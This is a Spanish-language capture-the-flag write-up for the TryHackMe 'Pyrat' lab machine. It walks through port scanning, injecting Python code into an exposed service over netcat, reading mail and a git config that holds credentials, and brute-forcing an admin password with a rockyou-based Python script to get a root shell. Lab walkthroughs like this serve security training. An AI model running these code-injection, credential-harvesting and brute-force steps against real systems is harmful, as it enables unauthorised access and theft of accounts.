TRYHACKME

Desarrollado por: Miguel Angel Ramírez (@parceweb)

Máquina → Pyrat

Descripción

Pyrat recibe una respuesta anómala de un servidor HTTP, lo que revela una posible vulnerabilidad de ejecución de código Python. Mediante un payload ingeniosamente diseñado, es posible obtener acceso a la máquina. Al explorar los directorios, el autor descubre una carpeta conocida que proporciona acceso a las credenciales. Una exploración posterior ofrece información valiosa sobre una versión anterior de la aplicación. Explorando posibles endpoints con un script personalizado, el usuario descubre un endpoint especial y amplía ingeniosamente su exploración probando contraseñas. El script revela una contraseña, lo que finalmente otorga acceso como administrador.

PASOS

Escaneo de puertos con Nmap

```
└─$ nmap -sS 10.10.133.11
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 02:08 EDT
Nmap scan report for 10.10.133.11
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 4.77 seconds
```

Los puertos ssh (22) y Hppt (8000) están abiertos

Comprobando el estado de los puertos

```
┌──(kali㉿kali)-[~]
└─$ curl http://10.10.133.11:8000
Try a more basic connection
```

Conexión básica correcta. Conectémonos al puerto 8000 usando netcat. Intentemos ejecutar el código Python "Hola mundo", ya que la descripción indica una posible vulnerabilidad de ejecución de código Python.

```
└─$ nc 10.10.91.34 8000
print("Hello World")
Hello World
```

A continuación, utilizaré código Python para la ejecución de código. Intenta comprobar si hay correos entrantes.

```
┌──(kali㉿kali)-[~]
└─$ nc 10.10.91.34 8000
print("Hello World")
Hello World

print(os.listdir("/var/mail"))
['www-data', 'root', 'think']

```

Aquí podemos tener algo en este correo

```
┌──(kali㉿kali)-[~]
└─$ nc 10.10.91.34 8000
print("Hello World")
Hello World

print(os.listdir("/var/mail"))
['www-data', 'root', 'think']

print(open("/var/mail/think").read())
From root@pyrat  Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
        id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>

Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you se
e it running. Regards, Dbile Admen
```

Buscamos carpetas de git

```
import os; print([r for r, d, ds in os.walk('/') if ".git" in d])
['/opt/dev']
```

Revisamos la configuración de git

```
print(open("/opt/dev/.git/config").read())
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[user]
        name = Jose Mario
        email = josemlwdf@github.com

[credential]
        helper = cache --timeout=3600

[credential "https://github.com"]
        username = think
        password = [redacted]
```

Aquí tenemos el nombre de usuario y la contraseña. Intentemos conectarnos por SSH usando estas credenciales.

Hemos iniciado sesión correctamente y en el directorio de inicio hay un users.txtarchivo que contiene nuestra primera bandera.

```
think@ip-10-10-133-11:~$ cd /opt/dev
think@ip-10-10-133-11:/opt/dev$ ls
think@ip-10-10-133-11:/opt/dev$ ls -la
total 12
drwxrwxr-x 3 think think 4096 Jun 21  2023 .
drwxr-xr-x 3 root  root  4096 Jun 21  2023 ..
drwxrwxr-x 8 think think 4096 Jun 21  2023 .git
think@ip-10-10-133-11:/opt/dev$ git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    pyrat.py.old

no changes added to commit (use "git add" and/or "git commit -a")
think@ip-10-10-133-11:/opt/dev$ git restore pyrat.py.old
think@ip-10-10-133-11:/opt/dev$ ls
pyrat.py.old
```

Aquí dejo un Script de Python para encontrar la contraseña de administrador.

```
import socket

TARGET_IP = '10.10.118.253'
TARGET_PORT = 8000
WORDLIST = '/usr/share/wordlists/rockyou.txt'


with open(WORDLIST, 'r', encoding="latin-1") as f:
    for password in f:
        password = password.strip()
        try:
            s = socket.socket()
            s.settimeout(3)
            s.connect((TARGET_IP, TARGET_PORT))

            # Send admin
            s.sendall(b"admin\n")
```

```
        data = s.recv(4096).decode()

        # read password prompt
        if "Password:" in data:
            s.sendall((password + "\n").encode())
            data = s.recv(4096).decode()
            print(f"[TRY] Password: {password} | Response: {data.strip()}")

            if "Password:" not in data:
                print(f"\n[SUCCESS] Password found: {password}")
                break
        else:
            print("Error: unexpected response after sending username")
        s.close()
    except Exception as e:
        print("Error: %s " %e)
```

Con esto ahora he obtenido con éxito la contraseña de administrador.

```
┌──(kali㉿kali)-[/mnt/…/SharedFolder/CTF/TryHackMe/Pyrat]
└─$ nc 10.10.118.253 8000
admin
Password:
[redacted]
Welcome Admin!!! Type "shell" to begin
shell
# ls
ls
pyrat.py  root.txt  snap
# cat root.txt
cat root.txt
[redacted]
```

Comando utilizados

nmap -sS 10.10.133.11

import os; print([r for r, d, ds in os.walk('/') if ".git" in d])

print(open("/opt/dev/.git/config").read())

ssh think@10.10.118.253

nc 10.10.118.253 8000